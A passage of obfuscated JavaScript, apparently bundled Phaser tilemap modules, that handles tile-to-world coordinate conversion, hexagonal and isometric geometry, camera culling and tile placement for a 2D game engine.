= function (_0x4abdc4, _0x438c9d, _0x4178a3, _0x120c5d, _0x5d24ea) { return _0x5d24ea['tilemapLayer']['worldToTileXY'](_0x4abdc4, _0x438c9d, !0x0, _0x576a93, _0x120c5d), _0x5dd9bd(_0x576a93['x'], _0x576a93['y'], _0x4178a3, _0x5d24ea); }; }, 0xda12: (_0x5e77e5, _0xf72baf, _0x3e4037) => { var _0x2f5f05 = _0x3e4037(0x65f3); _0x5e77e5['exports'] = function (_0x17236f, _0x55073e, _0x40570d, _0x4e16fb) { var _0x51ae82 = _0x4e16fb['baseTileWidth'], _0x463bee = _0x4e16fb['baseTileHeight'], _0x34e4e7 = _0x4e16fb['tilemapLayer'], _0x12b808 = 0x0, _0x28e056 = 0x0; _0x34e4e7 && (_0x40570d || (_0x40570d = _0x34e4e7['scene']['cameras']['main']), _0x12b808 = _0x34e4e7['x'] + _0x40570d['scrollX'] * (0x1 - _0x34e4e7['scrollFactorX']), _0x28e056 = _0x34e4e7['y'] + _0x40570d['scrollY'] * (0x1 - _0x34e4e7['scrollFactorY']), _0x51ae82 *= _0x34e4e7['scaleX'], _0x463bee *= _0x34e4e7['scaleY']); var _0x201779 = _0x12b808 + _0x17236f * _0x51ae82, _0x9ad5f0 = _0x28e056 + _0x55073e * _0x463bee; return [new _0x2f5f05(_0x201779, _0x9ad5f0), new _0x2f5f05(_0x201779 + _0x51ae82, _0x9ad5f0), new _0x2f5f05(_0x201779 + _0x51ae82, _0x9ad5f0 + _0x463bee), new _0x2f5f05(_0x201779, _0x9ad5f0 + _0x463bee)]; }; }, 0x2dee: (_0x1ea8a8, _0x390580, _0x26acf3) => { var _0x1670d2 = _0x26acf3(0x16703), _0x4bb8d7 = _0x26acf3(0x6a5d), _0x1e485e = _0x26acf3(0x7433), _0x94f9b8 = _0x26acf3(0xda12); _0x1ea8a8['exports'] = function (_0x1935a5) { return _0x1935a5 === _0x1670d2['ORTHOGONAL'] ? _0x94f9b8 : _0x1935a5 === _0x1670d2['ISOMETRIC'] ? _0x1e485e : _0x1935a5 === _0x1670d2['HEXAGONAL'] ? _0x4bb8d7 : (_0x1670d2['STAGGERED'], _0x1e485e); }; }, 0x98ff: (_0x3e8855, _0x6e9f8c, _0x54b196) => { var _0x35d782 = _0x54b196(0x16703), _0x1113cb = _0x54b196(0x7433), _0x2d3b66 = _0x54b196(0x17c01); _0x3e8855['exports'] = function (_0x33bdb7) { return _0x33bdb7 === _0x35d782['ORTHOGONAL'] ? _0x2d3b66 : _0x1113cb; }; }, 0xf230: (_0x16352f, _0x3a2ac0, _0x10b74e) => { var _0x11c80c = _0x10b74e(0x16703), _0x5701ef = _0x10b74e(0x4def), _0x3121c1 = _0x10b74e(0x372f), _0x18070c = _0x10b74e(0x7433), _0xf04fcc = _0x10b74e(0x17bb2), _0x578763 = _0x10b74e(0x112b6); _0x16352f['exports'] = function (_0x52f296) { return _0x52f296 === _0x11c80c['ORTHOGONAL'] ? _0x578763 : _0x52f296 === _0x11c80c['ISOMETRIC'] ? _0x3121c1 : _0x52f296 === _0x11c80c['HEXAGONAL'] ? _0x5701ef : _0x52f296 === _0x11c80c['STAGGERED'] ? _0xf04fcc : _0x18070c; }; }, 0x1760: (_0x4ea853, _0x4389fc, _0x10be80) => { var _0x2333b2 = _0x10be80(0x16703), _0x3233d9 = _0x10be80(0x7433), _0x2d347b = _0x10be80(0x6d96), _0x34f110 = _0x10be80(0x73d2); _0x4ea853['exports'] = function (_0x253d39) { return _0x253d39 === _0x2333b2['ORTHOGONAL'] ? _0x34f110 : _0x253d39 === _0x2333b2['STAGGERED'] ? _0x2d347b : _0x3233d9; }; }, 0x1cda: (_0x3339ab, _0x4c957a, _0x9cf6f7) => { var _0x51cffc = _0x9cf6f7(0x17534); _0x3339ab['exports'] = function (_0x296876, _0x12e2c6, _0x531a26, _0x2fba73, _0xca8a06, _0x23d4e1) { void 0x0 === _0x296876 && (_0x296876 = 0x0), void 0x0 === _0x12e2c6 && (_0x12e2c6 = 0x0), void 0x0 === _0x531a26 && (_0x531a26 = _0x23d4e1['width']), void 0x0 === _0x2fba73 && (_0x2fba73 = _0x23d4e1['height']), _0xca8a06 || (_0xca8a06 = {}); var _0x3c9836 = _0x51cffc(_0xca8a06, 'isNotEmpty', !0x1), _0x1c2df3 = _0x51cffc(_0xca8a06, 'isColliding', !0x1), _0x4f2275 = _0x51cffc(_0xca8a06, 'hasInterestingFace', !0x1); _0x296876 < 0x0 && (_0x531a26 += _0x296876, _0x296876 = 0x0), _0x12e2c6 < 0x0 && (_0x2fba73 += _0x12e2c6, _0x12e2c6 = 0x0), _0x296876 + _0x531a26 > _0x23d4e1['width'] && (_0x531a26 = Math['max'](_0x23d4e1['width'] - _0x296876, 0x0)), _0x12e2c6 + _0x2fba73 > _0x23d4e1['height'] && (_0x2fba73 = Math['max'](_0x23d4e1['height'] - _0x12e2c6, 0x0)); for (var _0x4203b5 = [], _0xd501af = _0x12e2c6; _0xd501af < _0x12e2c6 + _0x2fba73; _0xd501af++)for (var _0x30b5cb = _0x296876; _0x30b5cb < _0x296876 + _0x531a26; _0x30b5cb++) { var _0x8d8415 = _0x23d4e1['data'][_0xd501af][_0x30b5cb]; if (null !== _0x8d8415) { if (_0x3c9836 && -0x1 === _0x8d8415['index']) continue; if (_0x1c2df3 && !_0x8d8415['collides']) continue; if (_0x4f2275 && !_0x8d8415['hasInterestingFace']) continue; _0x4203b5['push'](_0x8d8415); } } return _0x4203b5; }; }, 0x16405: (_0x519a83, _0xaf815e, _0x353693) => { var _0x11db48 = _0x353693(0xd9ba), _0x4f7d7d = _0x353693(0x1cda), _0x44877a = _0x353693(0x166d9), _0x32cf47 = _0x353693(0x7433), _0x507662 = _0x353693(0x65f3), _0x45a7c1 = function (_0x2ae82d, _0x1cdb69) { return _0x44877a['RectangleToTriangle'](_0x1cdb69, _0x2ae82d); }, _0x491d62 = new _0x507662(), _0x3633b9 = new _0x507662(), _0x4b1202 = new _0x507662(); _0x519a83['exports'] = function (_0x2777aa, _0x48c8fe, _0x35ab7f, _0x14cbec) { if (void 0x0 === _0x2777aa) return []; var _0x33195f = _0x32cf47; _0x2777aa instanceof _0x11db48['Circle'] ? _0x33195f = _0x44877a['CircleToRectangle'] : _0x2777aa instanceof _0x11db48['Rectangle'] ? _0x33195f = _0x44877a['RectangleToRectangle'] : _0x2777aa instanceof _0x11db48['Triangle'] ? _0x33195f = _0x45a7c1 : _0x2777aa instanceof _0x11db48['Line'] && (_0x33195f = _0x44877a['LineToRectangle']), _0x14cbec['tilemapLayer']['worldToTileXY'](_0x2777aa['left'], _0x2777aa['top'], !0x0, _0x3633b9, _0x35ab7f); var _0xfe8093 = _0x3633b9['x'], _0x3bf216 = _0x3633b9['y']; _0x14cbec['tilemapLayer']['worldToTileXY'](_0x2777aa['right'], _0x2777aa['bottom'], !0x1, _0x4b1202, _0x35ab7f); var _0x4de803 = Math['ceil'](_0x4b1202['x']), _0x27e27c = Math['ceil'](_0x4b1202['y']), _0x391286 = Math['max'](_0x4de803 - _0xfe8093, 0x1), _0x4726f1 = Math['max'](_0x27e27c - _0x3bf216, 0x1), _0x2ba663 = _0x4f7d7d(_0xfe8093, _0x3bf216, _0x391286, _0x4726f1, _0x48c8fe, _0x14cbec), _0x18e9a6 = _0x14cbec['tileWidth'], _0x4cd194 = _0x14cbec['tileHeight']; _0x14cbec['tilemapLayer'] && (_0x18e9a6 *= _0x14cbec['tilemapLayer']['scaleX'], _0x4cd194 *= _0x14cbec['tilemapLayer']['scaleY']); for (var _0x2c9379 = [], _0x3642e9 = new _0x11db48['Rectangle'](0x0, 0x0, _0x18e9a6, _0x4cd194), _0x44e6f6 = 0x0; _0x44e6f6 < _0x2ba663['length']; _0x44e6f6++) { var _0x3f8d9a = _0x2ba663[_0x44e6f6]; _0x14cbec['tilemapLayer']['tileToWorldXY'](_0x3f8d9a['x'], _0x3f8d9a['y'], _0x491d62, _0x35ab7f), _0x3642e9['x'] = _0x491d62['x'], _0x3642e9['y'] = _0x491d62['y'], _0x33195f(_0x2777aa, _0x3642e9) && _0x2c9379['push'](_0x3f8d9a); } return _0x2c9379; }; }, 0x1790b: (_0x5b9e07, _0x503f48, _0x54ca9a) => { var _0x99511f = _0x54ca9a(0x1cda), _0x1ef2bf = _0x54ca9a(0x65f3), _0xbe5c40 = new _0x1ef2bf(), _0x351b7b = new _0x1ef2bf(); _0x5b9e07['exports'] = function (_0x33be88, _0x7b1ea4, _0x125136, _0x2515d, _0x154887, _0x5a282a, _0xe4eaa4) { var _0x5cee60 = _0xe4eaa4['tilemapLayer']['tilemap']['_convert']['WorldToTileXY']; _0x5cee60(_0x33be88, _0x7b1ea4, !0x0, _0xbe5c40, _0x5a282a, _0xe4eaa4); var _0x1ef3d4 = _0xbe5c40['x'], _0xdf77e2 = _0xbe5c40['y']; _0x5cee60(_0x33be88 + _0x125136, _0x7b1ea4 + _0x2515d, !0x1, _0x351b7b, _0x5a282a, _0xe4eaa4); var _0x26a55e = Math['ceil'](_0x351b7b['x']), _0x5d1793 = Math['ceil'](_0x351b7b['y']); return _0x99511f(_0x1ef3d4, _0xdf77e2, _0x26a55e - _0x1ef3d4, _0x5d1793 - _0xdf77e2, _0x154887, _0xe4eaa4); }; }, 0x17771: (_0x2d3017, _0x398dbc, _0x110f1a) => { var _0x35f983 = _0x110f1a(0x16703), _0x1b716d = _0x110f1a(0x4f12), _0x9c97e0 = _0x110f1a(0x276f); _0x2d3017['exports'] = function (_0x48cc80) { return _0x48cc80 === _0x35f983['ORTHOGONAL'] ? _0x9c97e0 : _0x1b716d; }; }, 0x421e: (_0x4a1317, _0xfc6a1b, _0x4b26ca) => { var _0x3e80cc = _0x4b26ca(0x16703), _0x45f9aa = _0x4b26ca(0x15261), _0x53089e = _0x4b26ca(0x17a81), _0x2192a3 = _0x4b26ca(0x7433), _0x5b946f = _0x4b26ca(0x3b04), _0x528707 = _0x4b26ca(0x14f88); _0x4a1317['exports'] = function (_0x18c3fa) { return _0x18c3fa === _0x3e80cc['ORTHOGONAL'] ? _0x528707 : _0x18c3fa === _0x3e80cc['ISOMETRIC'] ? _0x53089e : _0x18c3fa === _0x3e80cc['HEXAGONAL'] ? _0x45f9aa : _0x18c3fa === _0x3e80cc['STAGGERED'] ? _0x5b946f : _0x2192a3; }; }, 0xd9d2: (_0x1d78dc, _0x128f99, _0x57b8cd) => { var _0x35594e = _0x57b8cd(0x16703), _0x3201b7 = _0x57b8cd(0x4f12), _0x4c1ec1 = _0x57b8cd(0xcabc), _0x4fb433 = _0x57b8cd(0xf738); _0x1d78dc['exports'] = function (_0x4515c2) { return _0x4515c2 === _0x35594e['ORTHOGONAL'] ? _0x4fb433 : _0x4515c2 === _0x35594e['STAGGERED'] ? _0x4c1ec1 : _0x3201b7; }; }, 0xb023: (_0x47421e, _0x3a4c8c, _0x4db087) => { var _0x5c5c37 = _0x4db087(0xf60f); _0x47421e['exports'] = function (_0x2897c2, _0x542dac, _0x35c4bf) { if (_0x5c5c37(_0x2897c2, _0x542dac, _0x35c4bf)) { var _0x5b83a4 = _0x35c4bf['data'][_0x542dac][_0x2897c2]; return null !== _0x5b83a4 && _0x5b83a4['index'] > -0x1; } return !0x1; }; }, 0x5e58: (_0x2ce825, _0x285512, _0x315bec) => { var _0x46f3c2 = _0x315bec(0xb023), _0x4ad9d4 = new (_0x315bec(0x65f3))(); _0x2ce825['exports'] = function (_0x320137, _0x3e2e2f, _0x404e50, _0x2ea0c3) { _0x2ea0c3['tilemapLayer']['worldToTileXY'](_0x320137, _0x3e2e2f, !0x0, _0x4ad9d4, _0x404e50); var _0x5a8735 = _0x4ad9d4['x'], _0x3603d6 = _0x4ad9d4['y']; return _0x46f3c2(_0x5a8735, _0x3603d6, _0x2ea0c3); }; }, 0x16156: (_0x1d59ac, _0x1e8afe, _0x183424) => { var _0x3f0948 = _0x183424(0xf7d8), _0x144051 = _0x183424(0xdd07); _0x1d59ac['exports'] = function (_0x12bc35, _0x3ce6f1) { var _0x42a997, _0x229c9f, _0x1b4ca2, _0x43ebe3, _0x18e8d3 = _0x12bc35['tilemapLayer']['tilemap'], _0x116c8a = _0x12bc35['tilemapLayer'], _0x21dc22 = Math['floor'](_0x18e8d3['tileWidth'] * _0x116c8a['scaleX']), _0x43b04f = Math['floor'](_0x18e8d3['tileHeight'] * _0x116c8a['scaleY']), _0x176996 = _0x12bc35['hexSideLength']; if ('y' === _0x12bc35['staggerAxis']) { var _0x372994 = (_0x43b04f - _0x176996) / 0x2 + _0x176996; _0x42a997 = _0x144051(_0x3ce6f1['worldView']['x'] - _0x116c8a['x'], _0x21dc22, 0x0, !0x0) - _0x116c8a['cullPaddingX'], _0x229c9f = _0x3f0948(_0x3ce6f1['worldView']['right'] - _0x116c8a['x'], _0x21dc22, 0x0, !0x0) + _0x116c8a['cullPaddingX'], _0x1b4ca2 = _0x144051(_0x3ce6f1['worldView']['y'] - _0x116c8a['y'], _0x372994, 0x0, !0x0) - _0x116c8a['cullPaddingY'], _0x43ebe3 = _0x3f0948(_0x3ce6f1['worldView']['bottom'] - _0x116c8a['y'], _0x372994, 0x0, !0x0) + _0x116c8a['cullPaddingY']; } else { var _0x233ca0 = (_0x21dc22 - _0x176996) / 0x2 + _0x176996; _0x42a997 = _0x144051(_0x3ce6f1['worldView']['x'] - _0x116c8a['x'], _0x233ca0, 0x0, !0x0) - _0x116c8a['cullPaddingX'], _0x229c9f = _0x3f0948(_0x3ce6f1['worldView']['right'] - _0x116c8a['x'], _0x233ca0, 0x0, !0x0) + _0x116c8a['cullPaddingX'], _0x1b4ca2 = _0x144051(_0x3ce6f1['worldView']['y'] - _0x116c8a['y'], _0x43b04f, 0x0, !0x0) - _0x116c8a['cullPaddingY'], _0x43ebe3 = _0x3f0948(_0x3ce6f1['worldView']['bottom'] - _0x116c8a['y'], _0x43b04f, 0x0, !0x0) + _0x116c8a['cullPaddingY']; } return { 'left': _0x42a997, 'right': _0x229c9f, 'top': _0x1b4ca2, 'bottom': _0x43ebe3 }; }; }, 0x2502: (_0x5949e9, _0x2bf6e5, _0x2977d6) => { var _0xc73dff = _0x2977d6(0x16156), _0x566eb1 = _0x2977d6(0x7ee3); _0x5949e9['exports'] = function (_0x33d425, _0x310ead, _0x58ddcd, _0x369c3c) { void 0x0 === _0x58ddcd && (_0x58ddcd = []), void 0x0 === _0x369c3c && (_0x369c3c = 0x0), _0x58ddcd['length'] = 0x0; var _0x4d43b4 = _0x33d425['tilemapLayer'], _0x40eb60 = _0xc73dff(_0x33d425, _0x310ead); return _0x4d43b4['skipCull'] && 0x1 === _0x4d43b4['scrollFactorX'] && 0x1 === _0x4d43b4['scrollFactorY'] && (_0x40eb60['left'] = 0x0, _0x40eb60['right'] = _0x33d425['width'], _0x40eb60['top'] = 0x0, _0x40eb60['bottom'] = _0x33d425['height']), _0x566eb1(_0x33d425, _0x40eb60, _0x369c3c, _0x58ddcd), _0x58ddcd; }; }, 0x6a5d: (_0x28a9c7, _0x54c4cb, _0x3cc0c2) => { var _0x177807 = _0x3cc0c2(0x4def), _0x226699 = _0x3cc0c2(0x65f3), _0xd7513 = new _0x226699(); _0x28a9c7['exports'] = function (_0x28270e, _0x335d6f, _0x49208c, _0x477030) { var _0x393ea5 = _0x477030['baseTileWidth'], _0x3ed282 = _0x477030['baseTileHeight'], _0x37388f = _0x477030['tilemapLayer']; _0x37388f && (_0x393ea5 *= _0x37388f['scaleX'], _0x3ed282 *= _0x37388f['scaleY']); var _0x511d4b, _0x17fe8c, _0x54c490 = _0x177807(_0x28270e, _0x335d6f, _0xd7513, _0x49208c, _0x477030), _0x4b011e = [], _0x320172 = 0.5773502691896257; 'y' === _0x477030['staggerAxis'] ? (_0x511d4b = _0x320172 * _0x393ea5, _0x17fe8c = _0x3ed282 / 0x2) : (_0x511d4b = _0x393ea5 / 0x2, _0x17fe8c = _0x320172 * _0x3ed282); for (var _0x3959c5 = 0x0; _0x3959c5 < 0x6; _0x3959c5++) { var _0xae6e31 = 0x2 * Math['PI'] * (0.5 - _0x3959c5) / 0x6; _0x4b011e['push'](new _0x226699(_0x54c490['x'] + _0x511d4b * Math['cos'](_0xae6e31), _0x54c490['y'] + _0x17fe8c * Math['sin'](_0xae6e31))); } return _0x4b011e; }; }, 0x4def: (_0x17d278, _0x1809f0, _0x36fe6d) => { var _0x320cd7 = _0x36fe6d(0x65f3); _0x17d278['exports'] = function (_0x32b37e, _0xce8e54, _0x1e21a0, _0x2e6728, _0x1800fe) { _0x1e21a0 || (_0x1e21a0 = new _0x320cd7()); var _0x454df8 = _0x1800fe['baseTileWidth'], _0x55d015 = _0x1800fe['baseTileHeight'], _0x240a53 = _0x1800fe['tilemapLayer'], _0x50a4ce = 0x0, _0x525ab2 = 0x0; _0x240a53 && (_0x2e6728 || (_0x2e6728 = _0x240a53['scene']['cameras']['main']), _0x50a4ce = _0x240a53['x'] + _0x2e6728['scrollX'] * (0x1 - _0x240a53['scrollFactorX']), _0x525ab2 = _0x240a53['y'] + _0x2e6728['scrollY'] * (0x1 - _0x240a53['scrollFactorY']), _0x454df8 *= _0x240a53['scaleX'], _0x55d015 *= _0x240a53['scaleY']); var _0x16eeeb, _0x2e60f0, _0x3aa43c = _0x454df8 / 0x2, _0x207a5e = _0x55d015 / 0x2, _0x379bc8 = _0x1800fe['staggerAxis'], _0x5e782c = _0x1800fe['staggerIndex']; return 'y' === _0x379bc8 ? (_0x16eeeb = _0x50a4ce + _0x454df8 * _0x32b37e + _0x454df8, _0x2e60f0 = _0x525ab2 + 1.5 * _0xce8e54 * _0x207a5e + _0x207a5e, _0xce8e54 % 0x2 == 0x0 && ('odd' === _0x5e782c ? _0x16eeeb -= _0x3aa43c : _0x16eeeb += _0x3aa43c)) : 'x' === _0x379bc8 && 'odd' === _0x5e782c && (_0x16eeeb = _0x50a4ce + 1.5 * _0x32b37e * _0x3aa43c + _0x3aa43c, _0x2e60f0 = _0x525ab2 + _0x55d015 * _0x32b37e + _0x55d015, _0x32b37e % 0x2 == 0x0 && ('odd' === _0x5e782c ? _0x2e60f0 -= _0x207a5e : _0x2e60f0 += _0x207a5e)), _0x1e21a0['set'](_0x16eeeb, _0x2e60f0); }; }, 0x15261: (_0x365e3d, _0x15f218, _0x3885c9) => { var _0x2efb34 = _0x3885c9(0x65f3); _0x365e3d['exports'] = function (_0x5e7cb2, _0x857a29, _0x535ada, _0x4a10cc, _0x3d37c6, _0x2ab8b3) { _0x4a10cc || (_0x4a10cc = new _0x2efb34()); var _0x1563f1 = _0x2ab8b3['baseTileWidth'], _0x387fbe = _0x2ab8b3['baseTileHeight'], _0x37d4aa = _0x2ab8b3['tilemapLayer']; _0x37d4aa && (_0x3d37c6 || (_0x3d37c6 = _0x37d4aa['scene']['cameras']['main']), _0x5e7cb2 -= _0x37d4aa['x'] + _0x3d37c6['scrollX'] * (0x1 - _0x37d4aa['scrollFactorX']), _0x857a29 -= _0x37d4aa['y'] + _0x3d37c6['scrollY'] * (0x1 - _0x37d4aa['scrollFactorY']), _0x1563f1 *= _0x37d4aa['scaleX'], _0x387fbe *= _0x37d4aa['scaleY']); var _0x5ec362, _0x13e14a, _0x1810cc, _0x4f0405, _0x4743c1, _0x4a809b = 0.5773502691896257, _0x9fa2a8 = -0.3333333333333333, _0x3dc6eb = 0.6666666666666666, _0x12c498 = _0x1563f1 / 0x2, _0x524ebc = _0x387fbe / 0x2; 'y' === _0x2ab8b3['staggerAxis'] ? (_0x1810cc = _0x4a809b * (_0x5ec362 = (_0x5e7cb2 - _0x12c498) / (_0x4a809b * _0x1563f1)) + _0x9fa2a8 * (_0x13e14a = (_0x857a29 - _0x524ebc) / _0x524ebc), _0x4f0405 = 0x0 * _0x5ec362 + _0x3dc6eb * _0x13e14a) : (_0x1810cc = _0x9fa2a8 * (_0x5ec362 = (_0x5e7cb2 - _0x12c498) / _0x12c498) + _0x4a809b * (_0x13e14a = (_0x857a29 - _0x524ebc) / (_0x4a809b * _0x387fbe)), _0x4f0405 = _0x3dc6eb * _0x5ec362 + 0x0 * _0x13e14a), _0x4743c1 = -_0x1810cc - _0x4f0405; var _0xf40b0b, _0x47efc5 = Math['round'](_0x1810cc), _0x3c0853 = Math['round'](_0x4f0405), _0x298afe = Math['round'](_0x4743c1), _0x35054f = Math['abs'](_0x47efc5 - _0x1810cc), _0x1aec74 = Math['abs'](_0x3c0853 - _0x4f0405), _0x4a2c23 = Math['abs'](_0x298afe - _0x4743c1); _0x35054f > _0x1aec74 && _0x35054f > _0x4a2c23 ? _0x47efc5 = -_0x3c0853 - _0x298afe : _0x1aec74 > _0x4a2c23 && (_0x3c0853 = -_0x47efc5 - _0x298afe); var _0x447bfa = _0x3c0853; return _0xf40b0b = 'odd' === _0x2ab8b3['staggerIndex'] ? _0x447bfa % 0x2 == 0x0 ? _0x3c0853 / 0x2 + _0x47efc5 : _0x3c0853 / 0x2 + _0x47efc5 - 0.5 : _0x447bfa % 0x2 == 0x0 ? _0x3c0853 / 0x2 + _0x47efc5 : _0x3c0853 / 0x2 + _0x47efc5 + 0.5, _0x4a10cc['set'](_0xf40b0b, _0x447bfa); }; }, 0xf60f: _0x2cf7f4 => { _0x2cf7f4['exports'] = function (_0x1043fb, _0x5c81d4, _0x36871b) { return _0x1043fb >= 0x0 && _0x1043fb < _0x36871b['width'] && _0x5c81d4 >= 0x0 && _0x5c81d4 < _0x36871b['height']; }; }, 0x36c2: (_0x365d5a, _0xffe676, _0x28caca) => { var _0x52625e = _0x28caca(0x82f8); _0x365d5a['exports'] = function (_0x15e83a, _0x2c3c74, _0x2eede3, _0x419017) { void 0x0 === _0x2eede3 && (_0x2eede3 = []), void 0x0 === _0x419017 && (_0x419017 = 0x0), _0x2eede3['length'] = 0x0; var _0x3b82f5, _0x59ec3d, _0x1bbc76, _0x1f1187 = _0x15e83a['tilemapLayer'], _0x5b1e4 = _0x15e83a['data'], _0x2db810 = _0x15e83a['width'], _0x597591 = _0x15e83a['height'], _0x21e69b = _0x1f1187['skipCull'], _0x582d6f = _0x2db810, _0xe91752 = _0x597591; if (0x0 === _0x419017) { for (_0x59ec3d = 0x0; _0x59ec3d < _0xe91752; _0x59ec3d++)for (_0x3b82f5 = 0x0; _0x3b82f5 < _0x582d6f; _0x3b82f5++)(_0x1bbc76 = _0x5b1e4[_0x59ec3d][_0x3b82f5]) && -0x1 !== _0x1bbc76['index'] && _0x1bbc76['visible'] && 0x0 !== _0x1bbc76['alpha'] && (_0x21e69b || _0x52625e(_0x3b82f5, _0x59ec3d, _0x15e83a, _0x2c3c74)) && _0x2eede3['push'](_0x1bbc76); } else { if (0x1 === _0x419017) { for (_0x59ec3d = 0x0; _0x59ec3d < _0xe91752; _0x59ec3d++)for (_0x3b82f5 = _0x582d6f; _0x3b82f5 >= 0x0; _0x3b82f5--)(_0x1bbc76 = _0x5b1e4[_0x59ec3d][_0x3b82f5]) && -0x1 !== _0x1bbc76['index'] && _0x1bbc76['visible'] && 0x0 !== _0x1bbc76['alpha'] && (_0x21e69b || _0x52625e(_0x3b82f5, _0x59ec3d, _0x15e83a, _0x2c3c74)) && _0x2eede3['push'](_0x1bbc76); } else { if (0x2 === _0x419017) { for (_0x59ec3d = _0xe91752; _0x59ec3d >= 0x0; _0x59ec3d--)for (_0x3b82f5 = 0x0; _0x3b82f5 < _0x582d6f; _0x3b82f5++)(_0x1bbc76 = _0x5b1e4[_0x59ec3d][_0x3b82f5]) && -0x1 !== _0x1bbc76['index'] && _0x1bbc76['visible'] && 0x0 !== _0x1bbc76['alpha'] && (_0x21e69b || _0x52625e(_0x3b82f5, _0x59ec3d, _0x15e83a, _0x2c3c74)) && _0x2eede3['push'](_0x1bbc76); } else { if (0x3 === _0x419017) { for (_0x59ec3d = _0xe91752; _0x59ec3d >= 0x0; _0x59ec3d--)for (_0x3b82f5 = _0x582d6f; _0x3b82f5 >= 0x0; _0x3b82f5--)(_0x1bbc76 = _0x5b1e4[_0x59ec3d][_0x3b82f5]) && -0x1 !== _0x1bbc76['index'] && _0x1bbc76['visible'] && 0x0 !== _0x1bbc76['alpha'] && (_0x21e69b || _0x52625e(_0x3b82f5, _0x59ec3d, _0x15e83a, _0x2c3c74)) && _0x2eede3['push'](_0x1bbc76); } } } } return _0x1f1187['tilesDrawn'] = _0x2eede3['length'], _0x1f1187['tilesTotal'] = _0x2db810 * _0x597591, _0x2eede3; }; }, 0x372f: (_0xf90354, _0x2ae5af, _0x637555) => { var _0x2d1fb3 = _0x637555(0x65f3); _0xf90354['exports'] = function (_0x4161c2, _0x450fd2, _0x3db0ed, _0x4158f6, _0xd365c6) { _0x3db0ed || (_0x3db0ed = new _0x2d1fb3()); var _0x321c50 = _0xd365c6['baseTileWidth'], _0x42239d = _0xd365c6['baseTileHeight'], _0x280946 = _0xd365c6['tilemapLayer'], _0x397d91 = 0x0, _0x4e0678 = 0x0; _0x280946 && (_0x4158f6 || (_0x4158f6 = _0x280946['scene']['cameras']['main']), _0x397d91 = _0x280946['x'] + _0x4158f6['scrollX'] * (0x1 - _0x280946['scrollFactorX']), _0x321c50 *= _0x280946['scaleX'], _0x4e0678 = _0x280946['y'] + _0x4158f6['scrollY'] * (0x1 - _0x280946['scrollFactorY']), _0x42239d *= _0x280946['scaleY']); var _0x49520f = _0x397d91 + _0x321c50 / 0x2 * (_0x4161c2 - _0x450fd2), _0x3c5b85 = _0x4e0678 + (_0x4161c2 + _0x450fd2) * (_0x42239d / 0x2); return _0x3db0ed['set'](_0x49520f, _0x3c5b85); }; }, 0x17a81: (_0x422c5d, _0x2aa219, _0x3c4ca0) => { var _0x133dd4 = _0x3c4ca0(0x65f3); _0x422c5d['exports'] = function (_0x3d3449, _0x5512a9, _0x3f1f14, _0x442b15, _0x59075b, _0xeb877, _0x47695d) { _0x442b15 || (_0x442b15 = new _0x133dd4()); var _0x1c0a41 = _0xeb877['baseTileWidth'], _0x2c954c = _0xeb877['baseTileHeight'], _0x574dae = _0xeb877['tilemapLayer']; _0x574dae && (_0x59075b || (_0x59075b = _0x574dae['scene']['cameras']['main']), _0x5512a9 -= _0x574dae['y'] + _0x59075b['scrollY'] * (0x1 - _0x574dae['scrollFactorY']), _0x2c954c *= _0x574dae['scaleY'], _0x3d3449 -= _0x574dae['x'] + _0x59075b['scrollX'] * (0x1 - _0x574dae['scrollFactorX']), _0x1c0a41 *= _0x574dae['scaleX']); var _0x137009 = _0x1c0a41 / 0x2, _0x5ccf63 = _0x2c954c / 0x2; _0x47695d || (_0x5512a9 -= _0x2c954c); var _0x326c40 = 0.5 * ((_0x3d3449 -= _0x137009) / _0x137009 + _0x5512a9 / _0x5ccf63), _0x5a56db = 0.5 * (-_0x3d3449 / _0x137009 + _0x5512a9 / _0x5ccf63); return _0x3f1f14 && (_0x326c40 = Math['floor'](_0x326c40), _0x5a56db = Math['floor'](_0x5a56db)), _0x442b15['set'](_0x326c40, _0x5a56db); }; }, 0x11786: (_0x4241aa, _0x4d5ad4, _0x40fe56) => { var _0x1f86a3 = _0x40fe56(0x59f5), _0x5b7027 = _0x40fe56(0xf60f), _0x4b254f = _0x40fe56(0x11957), _0x19973b = _0x40fe56(0x5060); _0x4241aa['exports'] = function (_0x5a7c52, _0x49feeb, _0x1d2a14, _0x2a7350, _0x2919a2) { if (void 0x0 === _0x2a7350 && (_0x2a7350 = !0x0), !_0x5b7027(_0x49feeb, _0x1d2a14, _0x2919a2)) return null; var _0x4cbc71, _0x27fe8b = _0x2919a2['data'][_0x1d2a14][_0x49feeb], _0x1c59d6 = _0x27fe8b && _0x27fe8b['collides']; _0x5a7c52 instanceof _0x1f86a3 ? (null === _0x2919a2['data'][_0x1d2a14][_0x49feeb] && (_0x2919a2['data'][_0x1d2a14][_0x49feeb] = new _0x1f86a3(_0x2919a2, _0x5a7c52['index'], _0x49feeb, _0x1d2a14, _0x2919a2['tileWidth'], _0x2919a2['tileHeight'])), _0x2919a2['data'][_0x1d2a14][_0x49feeb]['copy'](_0x5a7c52)) : (_0x4cbc71 = _0x5a7c52, null === _0x2919a2['data'][_0x1d2a14][_0x49feeb] ? _0x2919a2['data'][_0x1d2a14][_0x49feeb] = new _0x1f86a3(_0x2919a2, _0x4cbc71, _0x49feeb, _0x1d2a14, _0x2919a2['tileWidth'], _0x2919a2['tileHeight']) : _0x2919a2['data'][_0x1d2a14][_0x49feeb]['index'] = _0x4cbc71); var _0x5b6d54 = _0x2919a2['data'][_0x1d2a14][_0x49feeb], _0x36a498 = -0x1 !== _0x2919a2['collideIndexes']['indexOf'](_0x5b6d54['index']); if (-0x1 === (_0x4cbc71 = _0x5a7c52 instanceof _0x1f86a3 ? _0x5a7c52['index'] : _0x5a7c52)) _0x5b6d54['width'] = _0x2919a2['tileWidth'], _0x5b6d54['height'] = _0x2919a2['tileHeight']; else { var _0x18aac3 = _0x2919a2['tilemapLayer']['tilemap'], _0x4cbe7f = _0x18aac3['tiles'][_0x4cbc71][0x2], _0x326bf6 = _0x18aac3['tilesets'][_0x4cbe7f]; _0x5b6d54['width'] = _0x326bf6['tileWidth'], _0x5b6d54['height'] = _0x326bf6['tileHeight']; } return _0x19973b(_0x5b6d54, _0x36a498), _0x2a7350 && _0x1c59d6 !== _0x5b6d54['collides'] && _0x4b254f(_0x49feeb, _0x1d2a14, _0x2919a2), _0x5b6d54; }; }, 0x66bf: (_0x433b56, _0x26fcf9, _0x4a5cc1) => { var _0x214deb = _0x4a5cc1(0x11786), _0x5b5b9f = new (_0x4a5cc1(0x65f3))(); _0x433b56['exports'] = function (_0x4aabe5, _0x467600, _0x5daeb9, _0x4a5f7f, _0x1d0a1c, _0x2e4dab) { return 